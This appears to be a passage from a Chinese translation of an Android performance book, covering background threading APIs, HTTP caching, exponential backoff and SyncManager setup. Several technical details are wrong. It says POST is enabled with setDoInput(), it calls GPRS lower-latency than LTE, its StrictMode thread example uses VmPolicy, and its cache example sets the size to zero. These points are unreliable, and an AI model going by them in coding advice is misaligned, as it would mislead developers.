从 Android Honeycomb(API 级别 11)开始,平台提供了一种特殊的方法来扩展 BroadcastReceiver 类的生命周期,并等待后台线程结束:调用 BroadcastReceiver.goAsync() 方法,会返回一个 PendingResult 对象。这个对象用于处理后台线程的状态。直到调用了 PendingResult.finish() 方法,接收器的生命周期才会结束。这是至关重要的:如果你打算在线程完成任务时使用这种特殊技术,请调用 PendingResult.finish() 方法来释放 BroadcastReceiver 类。否则,接收器将不会被关闭,导致内存泄漏,并在下一次接收广播事件时产生预期之外的结果。让我们看看使用这种技术的代码:

public class AsyncReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        switch (intent.getAction()) {
            case "myAction":
                final PendingResult pendingResult = goAsync();
                new Thread() {

                    public void run() {
                        // Do background work
                        pendingResult.finish();
                    }
                }.start();
                break;
        }
    }
}

ContentProvider 异步技术

ContentProvider 类是另一个主要组件,用于跨其他主要组件、进程和应用共享数据。其主要目的是持有数据库以共享信息。大多数时候,提供者是不同进程中的远程对象。因此,不直接访问提供者,而是使用 ContentResolver 对象来查询、插入、删除和更新提供者。这种方式处理了进程间通信。

ContentProvider 类无法知晓同一时间发生多少并发修改。因此,需要线程安全,因为需要查询数据的连贯性。幸运的是,SQLite 数据库是锁定的,因此它是线程安全的。此外,SQLiteDatabase 类有一个名为 SQLiteDatabase.setLockingEnabled() 的方法,可以改变数据库的线程安全行为。其默认值为 true,并且已经被弃用,从 Android JellyBean(API 级别 16)开始甚至被禁用,因此你不能从数据库访问中移除锁和线程安全。不过,你可以使用 SQLiteDatabase.enableWriteAheadLogging() 方法来启用 SQLiteDatabase 的并行数据写入。这样,写入操作在与读取操作在不同的日志文件中执行时进行,以实现并行读写执行。因此,读者将读取到的值是在写入操作开始前的状态。这种同时让多个线程访问的方式从内存角度来看是昂贵的,因为后台在写入时会复制数据。因此,只有在你严格需要多个线程访问数据库时才使用它。在所有其他用例中,数据库访问的默认锁实现就足够了。

当我们需要对ContentProvider进行操作时,应避免在 UI 线程上执行,这些操作可能会很耗时并阻塞 UI。我们在讨论CursorLoader时已经涉及了后台数据库查询:CursorLoader对象仅用于从数据库中读取。然而,现在我们要处理ContentProvider,并且没有直接访问权限。此外,我们还希望对其进行写入以及读取操作。Android 提供了一个特定的 API 来完成这项工作:我们讨论的是AsyncQueryHandler类。它包装了ContentResolver,以在ContentProvider上启动异步操作。

AsyncQueryHandlerHandler的抽象子类。它没有抽象方法,但我们可以定义如何处理不同的读写操作完成。以下是AsyncQueryHandler的回调:

public class MyAsyncQueryHandler extends AsyncQueryHandler {

    public MyAsyncQueryHandler(ContentResolver cr) {
        super(cr);
    }

    @Override
    protected void onQueryComplete(int token, Object cookie, Cursor cursor) {
    }

    @Override
    protected void onInsertComplete(int token, Object cookie, Uri uri) {
    }

    @Override
    protected void onUpdateComplete(int token, Object cookie, int result) {
    }

    @Override
    protected void onDeleteComplete(int token, Object cookie, int result) {
    }
}

启动对ContentResolver对象特定请求执行的方法如下所示。操作完成后,将调用上面指定的相应回调方法:

  • startQuery(int token, Object cookie, Uri uri, String[]projection, String selection, String[] selectionArgs, String orderBy)

  • startInsert(int token, Object cookie, Uri uri, ContentValues initialValues)

  • startUpdate(int token, Object cookie, Uri uri, ContentValues values, String selection, String[] selectionArgs)

  • startDelete(int token, Object cookie, Uri uri, String selection, String[] selectionArgs)

传递给前面方法的是与相关回调方法中作为参数传递的相同 token。这样我们可以知道调用者是谁,然后执行特定的操作而不是其他操作。如果我们想取消一个特定的操作,这很有用:我们可以通过调用AsyncQueryHandler.cancelOperation()方法来实现。现在让我们看看如何在Activity中使用它:

public class MyAsyncQueryHandler extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        AsyncQueryHandler asyncQueryHandler = new AsyncQueryHandler(getContentResolver()) {
            @Override
            protected void onDeleteComplete(int token, Object cookie, int result) {
                //code to handle the delete operation...
            }

            @Override
            protected void onUpdateComplete(int token, Object cookie, int result) {
                //code to handle the update operation...
            }

            @Override
            protected void onInsertComplete(int token, Object cookie, Uri uri) {
                //code to handle the insert operation...
            }

            @Override
            protected void onQueryComplete(int token, Object cookie, Cursor cursor) {
                //code to handle the query operation...
            }
        };
        asyncQueryHandler.startQuery(1, null,
                contentUri,
                projection,
                selectionClause,
                selectionArgs,
                sortOrder);
    }
}

AsyncQueryHandler类只是一个处理器,其回调方法是从创建AsyncQueryHandler对象的线程中调用的,而操作是在工作线程中完成的。

提示

每当处理ContentProvider时,选择AsyncQueryHandler是正确的,它可以释放 UI 线程不必要的操作,并将工作线程委托给ContentResolver处理。这样,你可以提高应用程序的 UI 性能。此外,它易于使用,让我们无需处理LooperMessageQueue

重复任务

在我们的开发经验中,很多时候我们需要启动一个周期性任务。但是,采用的战略是正确的吗?从性能角度来看,它可以改进吗?让我们检查一下,我们有哪些选项来创建一个周期性定时器,以启动后台操作而不影响 UI 线程。

定时器

Timer类是创建周期性任务最常用的方法:

Timer timer = new Timer();
timer.scheduleAtFixedRate(new TimerTask() {

    @Override
    public void run() {
        //code...
    }
}, delay, period);

Timer对象创建了一个线程,用于执行周期性任务的代码。因此,TimerTask不是在主线程上执行的。

完成后,必须使用Timer.cancel()方法取消Timer,以释放资源,否则可能会无限期地占用这些资源。这个 API 可以用于短周期的周期性任务。

ScheduledExecutorService

Executor框架的这种特定实现允许我们按固定间隔安排重复任务。可以以下列方式完成:

ScheduledExecutorService executorService = Executors.newSingleThreadScheduledExecutor();
executorService.scheduleAtFixedRate(new Runnable() {

    @Override
    public void run() {
        //code...
    }
}, delay, period, TimeUnit.SECONDS);

当不再需要执行时,调用ScheduledExecutorService.shutdown()ScheduledExecutorService.shutdownNow()

这个比Timer API 更灵活且功能强大。因此,对于短周期的周期性任务,应该优先考虑使用它。

AlarmManager

AlarmManager对象可以用来在特定时间启动新的组件,以开始重复操作:

AlarmManager alarmManager = (AlarmManager) getSystemService(Activity.ALARM_SERVICE);
Intent intent = new Intent();
//intent preparation...
PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
alarmManager.setInexactRepeating(AlarmManager.ELAPSED_REALTIME, intervalMillis, pendingIntent);

我们可以使用两种方法来启动新的重复闹钟:

  • setRepeating()

  • setInexactRepeating()

AlarmManager类由于其内部检查系统状态,比其他类更高效,但它不适合短周期任务。因此,在可能的情况下,用它代替TimerExecutor框架,考虑到它的限制。记得在重新启动完成后恢复闹钟:你可以使用与Intent.ACTION_BOOT_COMPLETED一起使用的BroadcastReceiver来通知此事件。

调试工具

我们已经了解了创建多线程应用程序的不同技术以及何时使用它们。使用正确的结构取决于许多不同因素;这需要开发者珍惜我们所讲的,并在每种情况下应用适当的框架。然而,我们的主要目标是向用户提供流畅的 UI,避免出现应用程序无响应对话框、延迟以及 UI 线程正确执行过程中的任何障碍。为此,Android 提供了一些工具,我们将在接下来的页面中看到。

StrictMode

在第四章 内存 中讨论内存泄漏时,我们已经处理过这个工具。然而,这个工具还可以帮助我们查找并通知线程问题。

要使用它,我们需要知道我们在寻找什么以及如何获知正在发生的线程问题。为此,我们需要将ThreadPolicy设置为StrictMode类,使用ThreadPolicy.Builder类。这样,我们可以获知以下发生的问题:

  • detectCustomSlowCalls()

  • detectDiskReads()

  • detectDiskWrites()

  • detectNetwork()

  • detectResourceMismatches()

  • detectAll()

我们获知的方式取决于我们调用的方法。我们可以从以下选项中选择:

  • penaltyDeath()

  • penaltyDeathOnNetwork()

  • penaltyDialog()

  • penaltyDropBox()

  • penaltyFlashScreen()


  • penaltyLog()

因此,以下代码段是我们应该执行的检查任何线程问题的好例子:

if (BuildConfig.DEBUG) {
    StrictMode.VmPolicy policy = new StrictMode.VmPolicy.Builder()
            .detectAll()
            .penaltyLog()
            .build();
    StrictMode.setVmPolicy(policy);
}

概要

从线程的基本定义出发,我们通过 Java 线程框架,谈及了 Android 进程管理、线程类型以及消息框架。我们分析了多线程环境中的陷阱,定义了线程安全。指出了在一个应用程序中我们可以用多个线程做什么,从多线程性能的角度描述了 Android 开发者追求的主要目标。UI 线程只需处理 UI,任何其他操作都应该在后台使用工作线程执行。因此,我们评估了平台为各种情况提供的许多不同解决方案,定义了何时应该或不应使用它们。总之,选择正确的框架取决于开发者所面对的具体情况,但是,了解了所有可能性后,他更有机会提升应用程序的性能。在本章的最后,我们了解了有哪些工具可以帮助我们检测线程异常,以保持应用程序的响应性。

第六章:网络

在谈论移动应用程序的性能时,主要关注的是我们的应用程序在连接条件差的情况下的表现。没有开发者希望他的用户因为应用程序在上传或下载数据时太慢,或者与其他平台相同应用程序版本不同步而给出负面反馈。我们有多少次因为客户端或用户说应用程序太慢而改变应用程序的网络策略?网络并不是完全可以从客户端控制的,因为在这个过程中涉及到太多的外部因素:代理、网页服务器、服务提供商、DNS 等。我们无法知道是否有一个或多个元素链中存在问题。

此外,用户并不知道问题出在哪里,但他会认为应用程序不好。然后他会卸载它。然而,我们可以通过使用一些高级技术来减少网络负载,特别是在特定情况下使用一些网络模式,以及识别一些简化我们开发的库来控制应用程序行为并提高用户感知的应用程序性能。像往常一样,我们将通过一些理论知识来掌握这个主题,了解提高应用程序网络方法的最佳实践,然后我们将看看一些不同的,但都有帮助的,官方和第三方的工具,来分析我们的代码,并检查应用程序在不同连接条件下的表现。

演练

在我们深入代码学习不同的技术来改进我们的策略之前,我们希望对网络以及 Android 平台提供可能性有一个总体了解。那么,让我们考虑一下客户端在从服务器实例获取预期响应之前需要做些什么。当客户端需要服务器响应时,它在一个高层架构中被路由,这个架构包含许多参与者,如 Wi-Fi 接入点、局域网、代理、服务器和 DNS 服务器,它们有多个实例,需要完成多个请求才能得到所需的响应。然后,当服务器接收到请求时,它需要处理响应,并将其路由回客户端。完成所有这些操作所需的时间对用户来说必须是合理的。此外,链中任意两个参与者之间的链接可能会中断,然后无法向客户端返回响应。与此同时,用户正在应用程序上等待结果,但应用程序却无法接收它,当达到超时时,它将显示错误。

图 1 显示了一个可能的流程示例:

演练

图 1:外部网络架构示例

我们不希望这种情况发生在我们的用户身上,但我们无法预测在这种高复杂性架构中会发生什么。相反,我们可以做的是,在处理应用程序外部通信的方式上应用一些增强措施。

无论如何,在开始之前,让我们检查一下外部请求是如何工作的,以更好地了解如何提高网络性能。让我们分解一下客户端在发起请求和处理服务器响应时发生的情况。为此,请查看图 2。它展示了从客户端角度的请求和响应,忽略了可能的错误或延迟:它们只是可能在请求中设置的参数以及与响应相关的信息和操作。

演练

图 2:请求和响应客户端项概览

为了处理这些问题,Android 提供了两个主要的 API:

  • HttpClientDefaultHttpClientAndroidHttpClient类是用于这种 HTTP 实现的主要类。

  • URLConnection:这是一个更灵活、性能更高的 API,用于连接到 URL。它可以使用不同的协议。

URLConnection API 比HttpClient API 更受欢迎,以至于后者首先被弃用,然后从 Android MarshMallow(API 级别 23)开始被移除。因此,除非特别说明,否则我们将只参考URLConnection API。

有一些外部库可以导入到我们的项目中,以使用不同的 API,但特别值得一提的是,除了整合我们将在以下部分看到的某些模式外,还可以在工作者线程中处理请求,从而免去了我们为此创建后台线程的麻烦。我们所说的是谷歌的 Java HTTP 客户端库。在以下部分特别说明时,我们也会提到这一点。

当我们处理互联网访问时,我们必须始终请求用户的许可。然后,我们需要在清单文件中添加以下内容:

<uses-permission android:name="android.permission.INTERNET" />

让我们从 Android 的角度更详细地看看图 2中每个项目的具体内容。这将让我们在进入最佳实践部分之前,对它们有更好的了解。

协议

我们感兴趣的是使用 HTTP 协议进行通信。URLConnection子类支持的联网协议包括以下几种:

  • HTTP 和 HTTPSHttpUrlConnection是主要的类,也是我们将在本章剩余部分处理的内容。

  • FTP:没有特定的类用于文件传输协议FTP)通信。你可以简单地使用默认的URLConnection类,因为它提供了你需要的一切。

  • File:可以使用URLConnection类从文件系统中检索本地文件。它基于文件的 URI;因此,你需要调用以 file 开头的 URL。

  • JAR:此协议用于处理 JAR 文件。JarUrlConnection是获取这类文件的合适类。

该类还允许开发人员使用URLStreamHandlerFactory对象添加额外的协议。

方法

HttpURLConnection类提供的主要请求方法如下:

  • GET:这是默认使用的方法,因此你不需要设置其他内容即可使用它。

  • POST:可以通过调用URLConnection.setDoInput()方法来使用。

其他方法可以通过使用URLConnection.setRequestMethod()方法来设置它们。

头部

在准备请求时,可能需要添加一些额外的元数据,以使服务器了解应用程序的特定状态,或者关于用户和会话的信息等。头部是添加到请求中的键/值对。它们还用于更改,例如,响应格式,启用压缩,或者请求特定的 HTTP 特性。

有两种特殊的方法用于向请求添加头部和从响应获取头部:

  • URLConnection.setRequestProperty()

  • URLConnection.getHeaderFields()

在接下来的页面中,我们将更详细地了解一些标题。

超时

URLConnection类支持两种类型的超时:

  • 连接超时:可以使用URLConnection.setConnectTimeout()方法设置。客户端将等待与服务器建立成功的连接,等待时间由设置的值决定。如果在设定的时间量后没有建立连接,将抛出SocketTimeoutException

  • 读取超时:这是等待输入流完全读取的最大时间,否则将抛出SocketTimeoutException。要设置它,请使用URLConnection.setReadTimeout()方法。

对于这两者,默认值是0,即客户端没有超时。因此,超时由 TCP 传输层处理。我们无法控制这一点。

内容

当我们与服务器开始新的连接时,我们希望得到一个响应;我们可以通过使用URLConnection.getContent()方法,将响应内容作为InputStream获取。内容有一些参数需要读取,响应中有三个头部控制如何读取它:

  • 内容长度:这是响应的字节长度,由相关头部指定,并通过URLConnection.getContentLength()方法获取。

  • 内容类型:这是来自URLConnection.getContentType()方法的内容的 MIME 类型。

  • 内容编码:这是用于响应内容编码的类型。使用URLConnection.getContentEncoding()方法来确定使用哪种编码。

压缩

内容编码值用于指定响应内容内部的压缩类型。客户端可以通过使用Accept-Encoding头并指定以下之一来请求响应的特定编码:

  • nullidentity:这些用于请求响应内容不进行编码。

  • gzip:这是默认值;客户端将始终请求 gzip 压缩的内容。

尽管客户端请求压缩内容,但服务器可能未启用 gzip 压缩。我们可以通过检查 URLConnection.getContentEncoding() 方法的结果来确定内容是否被压缩。

需要了解的是,每次我们在请求中添加 Accept-Encoding 头信息时,响应的自动解压缩功能会被禁用。如果响应内容被压缩,我们需要使用 GZIPInputStream 而不是传统的 InputStream

响应代码

响应对于创建我们的策略至关重要,因为应用程序需要根据响应代码以不同的方式行事。HttpURLConnection.getResponseCode() 方法返回响应代码,我们可以使用它来切换应用程序的行为。下面是它们的宏观分组:

  • 2xx: 成功:服务器已接收请求并返回响应。

  • 3xx: 重定向:客户端需要采取行动以继续请求。这通常是自动完成的;大多数情况下我们不需要处理这些动作。

  • 4xx: 客户端错误:这种响应代码表示请求存在问题。可能是请求中的语法错误,请求前需要授权,请求的资源找不到等等。

  • 5xx: 服务器错误:如果服务器内部出现问题或某些服务超载,服务器可能会发送带有此代码的响应。

连接类型

除了请求和响应参数外,从客户端的角度来看,我们可以根据启用的连接类型在需要请求时改变应用程序的行为。可以使用 ConnectionManager API 来确定在特定时间哪个连接是活跃的。调用 ConnectionManager.getActiveNetworkInfo() 来检索 NetworkInfo 数据。了解哪个连接是活跃的以及是否已连接很有帮助。调用 NetworkInfo.getType() 方法来获取 ConnectionManager 的常量值,并比较以下类型:

  • TYPE_MOBILE

  • TYPE_WIFI

  • TYPE_WIMAX

  • TYPE_ETHERNET

  • TYPE_BLUETOOTH

如果需要用户下载大文件,我们应避免在移动网络激活时这样做,因为其速度可能比 Wi-Fi 连接慢得多,并且可能导致用户产生意外的费用。

检查活跃网络不足以知道我们是否可以开始新的网络请求:我们还应该调用 NetworkInfo.isConnected() 方法来接收响应。

我们甚至可以通过使用 BroadcastReceiver 并为其注册 ConnectivityManager.CONNECTIVITY_ACTION 事件来监听网络变化。这样,我们就可以知道活跃网络发生更改时的情况,然后例如,如果 Wi-Fi 已开启,就可以开始新的请求。

要访问网络状态的所有这些操作,我们需要得到用户的进一步许可,并在清单文件中添加以下内容:

<uses-permission 
android:name="android.permission.ACCESS_NETWORK_STATE" />

最佳实践

我们在前一节讨论的网络理论是我们将要概述的最佳实践的起点。我们将研究网络软件架构和要遵循的模式,以改善应用程序的客户端-服务器通信,从而增强用户对我们应用程序速度的理解。

延迟评估

我们最初说过,没有办法预测到服务器远程请求的时间。这通常是正确的,但我们可以通过追踪请求的时间并计算平均值来大致估计其持续时间。这种特定的过程有助于根据延迟定义不同的策略。例如,如果对特定远程资源的响应速度很快,我们可以预期在相同的连接条件下,它仍然会很快。

此外,我们然后可以更改请求,在响应较慢的情况下请求更多信息。典型的例子是图像分辨率:如果响应足够快,我们可以向服务器请求更高分辨率的图像。另一方面,如果我们预期响应较慢,最好请求较低分辨率的图像。这样,我们可以平衡时间并获得相同的响应性。

因此,需要设置特定的延迟量,考虑响应是快还是慢。我们甚至可以考虑不止一个延迟级别来创建我们的策略。这样,响应时间的估计将更准确,这种模式的实现也会更好。

例如,考虑具有三个延迟级别的案例:Wi-Fi 连接的标准延迟,LTE 的较高延迟和 GPRS 的较低延迟。以下代码段显示了如何检查连接并应用策略:

ConnectivityManager cm = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
NetworkInfo activeNetwork = cm.getActiveNetworkInfo();

switch (activeNetwork.getType()) {
    case (ConnectivityManager.TYPE_WIFI):
        // apply standard latency strategy
        break;
    case (ConnectivityManager.TYPE_MOBILE): {
        switch (tm.getNetworkType()) {
            case (TelephonyManager.NETWORK_TYPE_LTE):
                // apply higher latency strategy
                break;
            case (TelephonyManager.NETWORK_TYPE_GPRS):
                // apply lower latency strategy
                break;
            default:
                break;
        }
        break;
    }
    default:
        break;
}

批处理连接

每次打开无线电进行连接时,它大约会消耗 20 秒的电力,这会导致从用户的角度来看电池耗电量大,性能感知低。因此,尽可能减少连接次数非常重要。

我们可以在应用程序中应用的可能策略之一是收集客户端和服务器之间所有要交换的数据,并在数据传输量足够时为将来的连接保留。这个想法是减少连接次数,并增加每次连接时传输的数据量。

一个典型的例子是经典的分析库。它可以在发生需要追踪的事件时执行连接,或者在达到某些事件数量或过了一定时间后,收集事件以便传输到服务器。第二个选择更为可取,因为它减少了通信次数并增加了单个连接传输的数据量。

提示

在设计客户端/服务器架构时,减少通信量应始终是一个关键点。牢记这一点可能会使应用程序性能超出预期,因为如果设计得当,这种架构可以导致屏幕内容丰富且通信量减少。

在我们的应用程序中使用这种模式主要有两个方面:我们可以执行一个请求来获取更多数据,要求服务器提供有关我们应用程序多个部分的信息以减少请求,或者我们可以批量处理多个连接以避免不必要的无线电操作,这可能会耗尽电池电量。下面几页将详细介绍它们。

预取

一种特殊的减少连接并避免应用程序出现空白屏幕的技术是预取。这个想法是,在连接可用时尽可能多地下载数据,用于我们应用程序的不同请求和部分。因此,在可能的情况下,我们应该让应用程序在后台下载数据,以填充部分内容并预测可能导致性能感知下降的用户请求。

这必须设计好,因为如果使用不当,它可能导致电池耗电和带宽过大,仅仅因为下载了未使用的数据。因此,一个好的策略是结合延迟评估来使用这种模式。一旦我们估计了延迟,如延迟评估部分所述,我们可以使用不同的预取策略和不同级别的资源向服务器请求,为未来更好的连接机会要求更高的预取策略。

排队连接

在开启无线电的情况下减少时间有一个特殊情况:如果请求不会立即执行,它们可以排队等待未来的批量连接。以下代码就是这种情况的一个例子:

public class TransferQueue {
    private Queue<Request> queue;

    public void addRequest(Request request) {
        queue.add(request);
    }

    public void execute() {
        //Iteration over the queue for executions
    }
}

缓存响应

如前所述,节省时间、带宽和电池电量的最佳方法是不执行任何网络请求。这并不总是可能的,但我们可以使用缓存技术来减少这些请求。为此,在策略应用方面有几个选择。

有关文件和位图缓存的更深入技术,请参考第十章,性能技巧

缓存控制

安卓冰淇淋三明治(API 级别 14)提供了一个有用的 API,将响应保存到文件系统中作为缓存。我们所说的是HttpResponseCache类。当使用HttpURLConnectionHttpsURLConnection类时,它可以用来保存和重用响应。

使用它的第一件事是设计合适的缓存大小:它需要有一个上限,以便开始删除不必要的条目来释放磁盘空间。然后,我们需要找到合适的数量,以便在不过分占用磁盘空间的情况下进行少量删除。这取决于应用程序执行请求的类型以及每个请求下载数据的量。选择缓存大小后,需要在应用程序开始时按以下方式安装缓存:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    try {
        File httpCacheDir = new File(getCacheDir(), "http");
        long httpCacheSize = 0;
        HttpResponseCache.install(httpCacheDir, httpCacheSize);
    } catch (IOException e) {
        Log.i(getClass().getName(), "HTTP response cache installation failed:" + e);
    }
}

这样,每个网络请求的响应将被缓存在应用程序内存中,以供将来需要。我们还需要在Activity.onStop()方法中刷新缓存,以便在下次应用程序启动时可用:

protected void onStop() {
    super.onStop();
    HttpResponseCache cache = HttpResponseCache.getInstalled();
    if (cache != null) {
        cache.flush();
    }
}

下一步是决定是否必须缓存每个请求。根据我们对每个请求的需求,我们将不得不在请求头中使用以下内容指定预期行为:

connection.addRequestProperty("Cache-Control", POLICY);

POLICY的值可以是以下之一:

  • no-cache:这种方式请求完整的刷新。整个数据将被下载。

  • max-age=SECONDS:如果响应的年龄小于由SECONDS指定的值,客户端将接受该响应。

  • max-stale=SECONDS:如果响应的过期时间不超过指定的SECONDS,客户端将接受该响应。

  • only-if-cached:强制客户端使用缓存响应。如果没有任何缓存响应可用,URLConnection.getInputStream()方法可能会抛出FileNotFoundException

提示

网络请求缓存默认是禁用的。我们可以使用HttpResponseCache API 来启用它。一旦启用了HttpResponseCache API,它将被用于我们应用程序的每个网络请求。然后,由我们决定如何处理每个请求缓存。

当你可以访问服务器实现时,最佳选择是将服务器端处理请求过期时间的任务委托给响应的cache-control头部。这样,你可以从远程简单修改响应头部来改变策略。相反,如果你无法访问服务器端代码,就需要一个策略来处理缓存响应的过期日期,这取决于服务器端实际的响应头部。

Last-Modified

在处理静态远程资源时,我们可以获取特定资源的最后修改日期。这可以通过读取响应中的Last-Modified头部来实现。此外,我们还可以读取Expire头部来了解内容是否仍然有效。一个好的做法是连同最后修改日期一起缓存资源,并将这个日期与服务器端的日期进行比较。因此,我们可以应用缓存策略来更新缓存资源以及图形布局。

以下代码段是此头部使用的一个示例:

HttpURLConnection conn = (HttpURLConnection) url.openConnection();
long lastModified = conn.getHeaderFieldDate("Last-Modified", currentTime);

if (lastModified < lastUpdateTime) {
    // Skip
} else {
    // Update
}

在这种情况下,必须单独选择并实现缓存策略。

If-Modified-Since

还有一种巧妙的方法可以达到与Last-Modified头部案例相同的结果:那就是If-Modified-Since头部。如果请求包含有If-Modified-Since头部,其中带有客户端上次检查资源的日期,服务器将根据Last-Modified头部的不同返回不同的状态码:

  • 200:自上次客户端检查以来,远程资源已被修改。响应包含预期的资源。

  • 304:远程资源未修改。响应不包含内容。

这里聪明的地方在于,如果内容没有被更新,它就不会在响应中,从而减少了负载,加快了这种客户端/服务器通信的速度。而且更重要的是,如果服务器没有实现这个 HTTP 1.1 策略,客户端仍然可以请求它,总是收到一个200 OK的响应。因此,我们可以在客户端实现这个逻辑,以便将来接收我们后端服务的If-Modified-Since头部。

让我们看看如何使用这个头部。它可以像以下代码所示的那样显式使用:

HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.addRequestProperty("If-Modified-Since", lastCheckTime);

try {
    int statusCode = conn.getResponseCode();
    switch (statusCode) {
        case 200:
            // Content has been modified
            // Update cached content
            // Update cached lastCheckedTime in cache
            break;
        case 304:
            // Content has not been modified
            // Get cached content
            break;
    }
} catch (IOException e) {
    e.printStackTrace();
}

否则,HttpURLConnection类有一个特别的方法可以用来启用请求中的If-Modified-Since头部。它包含在以下代码片段中:

HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setIfModifiedSince(lastCheckTime);

// status code check...

指数退避

有时我们无法避免轮询。在这些情况下,我们应该在出现问题时处理服务器问题,并使用不同的策略。当服务器因过多的请求或网络流量过大而无法处理时,它开始返回错误。对于这些情况,指数退避策略是正确的选择,可以减轻服务器因大量无用的请求而拒绝服务的压力。这种模式包括如果服务器用错误响应,则在后续请求之间增加暂停时间。这样,我们给服务器一个处理过多请求并恢复正常状态的机会。然后,当服务器恢复正常时,我们可以恢复正确的轮询间隔。

让我们通过一些代码来更好地理解如何实现这样的网络模式:

public class Backoff {
    private static final int BASE_DURATION = 1000;
    private static final int[] BACK_OFF = new int[]{1, 2, 4, 8, 16, 32, 64};

    public static InputStream execute(String urlString) {
        for (int attempt = 0; attempt < BACK_OFF.length; attempt++) {
            try {
                URL url = new URL(urlString);
                HttpURLConnection connection = (HttpURLConnection) url.openConnection();
                connection.connect();
                return connection.getInputStream();
            } catch (SocketTimeoutException | SSLHandshakeException e) {
                try {
                    Thread.sleep(BACK_OFF[attempt] * BASE_DURATION);
                } catch (InterruptedException ex) {
                    throw new RuntimeException(ex);
                }
            } catch (Exception e) {
                return null;
            }
        }
        return null;
    }
}

谷歌为 Java 提供的 HTTP 客户端库中也有这种模式的实现。我们可以向HttpRequest对象添加一个UnsuccesfulResponseHandler,传递一个HttpBackOffUnsuccessfulResponseHandler对象。此外,可以在执行前实现一个ExponentialBackOff对象,如下所示:

HttpRequest request = null;
//request initialization...
ExponentialBackOff backoff = ExponentialBackOff.builder()
        .setInitialIntervalMillis(1000)
        .setMaxElapsedTimeMillis(10000)
        .setMaxIntervalMillis(10000)
        .setMultiplier(1.5)
        .setRandomizationFactor(0.5)
        .build();
request.setUnsuccessfulResponseHandler(new HttpBackOffUnsuccessfulResponseHandler(backoff));
HttpResponse httpResponse = request.execute();
//response handling...

请记住,不要将此模式用于表示开发错误的服务器响应码。对于400 (InvalidParameters)404 (NotFound)响应码,应用它是没有意义的。

轮询与推送

我们讨论了减少连接次数的重要性,因为它们对电池和应用的整体性能有影响。有许多情况我们需要从服务器同步数据,我们首先想到的是创建一个轮询系统以保持应用程序始终更新。然后,客户、产品所有者、项目经理等要求我们改善用户体验,我们减少了轮询间隔,导致应用程序不断向服务器请求更新,尤其是从不关闭连接,从而持续增加 CPU 的负担。此外,如果我们不关心用户使用的连接类型,我们可能会让他用完合同中可用的带宽,只是为了检查服务器上是否有新数据可用。

相反的情况是最佳情况:当服务器端发生更改时,它会联系客户端告知发生了什么。这种方式不会建立不必要的连接,并且客户端始终保持最新。为此,谷歌提供了谷歌云消息传递框架。

然而,有时我们无法更改服务器实现,因为我们无法访问后端代码。无论如何,我们可以通过使用一些巧妙的技巧来改进我们设计的轮询机制:

  • 让用户决定使用哪个间隔:这样用户就能了解应用程序的行为,并在它耗电过多或需要更准确的更新时更改该值。

  • 使用AlarmManager时,使用非精确重复闹钟来执行网络操作。系统会自动批量处理多个连接,减少无线电的活动时间。

  • 当轮询处于激活状态时,我们可以检查服务器上新数据的频率,并应用指数退避模式等待服务器上的新数据,从而减少不必要的连接数量。例如,如果我们的应用程序请求更新,而没有任何更新可用,我们可以让下一个请求在执行前等待两倍的时间,以此类推,直到达到最大值。当有新数据可用时,我们可以恢复默认值并继续这种方式。

提供的 API

在以下页面中,我们希望介绍谷歌提供的一些 API,以改善应用程序的网络部分,并帮助我们以更好的方式开发之前讨论的内容。

同步管理器

SyncManager API 是为了帮助开发者在客户端和服务器之间设计良好的双向同步系统而提供的。在那些我们希望从客户端传输数据到服务器或反之,但不需要立即执行的情况中,它非常有用。在设计我们的应用程序时,框架提供了许多我们必须考虑的优势,因为它可能是正确的选择,并使我们从开发完成所有必要代码中解放出来。框架期望你的应用程序使用ContentProvider在本地存储数据,以便与服务器同步。

它可以将我们的任务添加到队列中,并在满足我们想要的条件时执行它们,例如延迟或在数据更改时等。它可以检查连接性是否可用,并批量连接以减少无线活动时间。它还处理用户的登录信息,以便使用登录凭据将数据同步到服务器。这不是强制性的,因为你可以自己处理登录管理,但你需要定义处理认证的对象。

一旦在我们的应用程序中实现了框架,就可以通过多种方式执行同步操作:

  • 当服务器通知客户端某些内容已更改。这是避免轮询方法的最佳方式,如之前讨论的。最好的方法是使用 Google Cloud Messaging:当收到消息时,只需调用ContentResolver.performSync()方法来开始新的同步。

  • 当客户端发生某些变化,需要同步以使远程服务中的信息保持更新。与前面的情况一样,调用ContentResolver.performSync()方法。

  • 当系统通知现在是合适的时间去做这件事,因为有一个为许多其他连接打开的连接。这时,我们需要使用ContentResolver.setSyncAutomatically()方法。

  • 当由于需要定期同步操作而间隔时间到期时。使用ContentResolver.addPeriodicSync()方法,指定间隔。

  • 当我们希望在没有任何特定条件的情况下开始新的同步时。在这种情况下,调用ContentResolver.performSync()方法。

让我们在以下段落中了解框架的实现。

认证器

Authenticator类可以通过继承AbstractAccountAuthenticator类并实现需要提供服务器上正确认证的每个抽象方法来创建。下面的代码段显示了我们需要实现的方法(如果没有认证,你可以使用这个默认实现并将其作为模拟):

public class Authenticator extends AbstractAccountAuthenticator {

    public Authenticator(Context context) {
        super(context);
    }

    @Override
    public Bundle editProperties(AccountAuthenticatorResponse response, String accountType){return null;}

    @Override
    public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options){return null;}

    @Override
    public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account, Bundle options){return null;}

    @Override
    public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options){return null;}

    @Override
    public String getAuthTokenLabel(String authTokenType) {return null;}

    @Override
    public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options){return null;}

    @Override
    public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account, String[] features){return null;}
}

为了使我们的Authenticator工作,我们需要创建一个绑定服务以提供对Authenticator的访问。它可以像下面代码段中的简单服务:

public class AuthenticatorService extends Service {

    private Authenticator mAuthenticator;
    @Override
    public void onCreate() {
        mAuthenticator = new Authenticator(this);
    }

    @Override
    public IBinder onBind(Intent intent) {
        return mAuthenticator.getIBinder();
    }
}

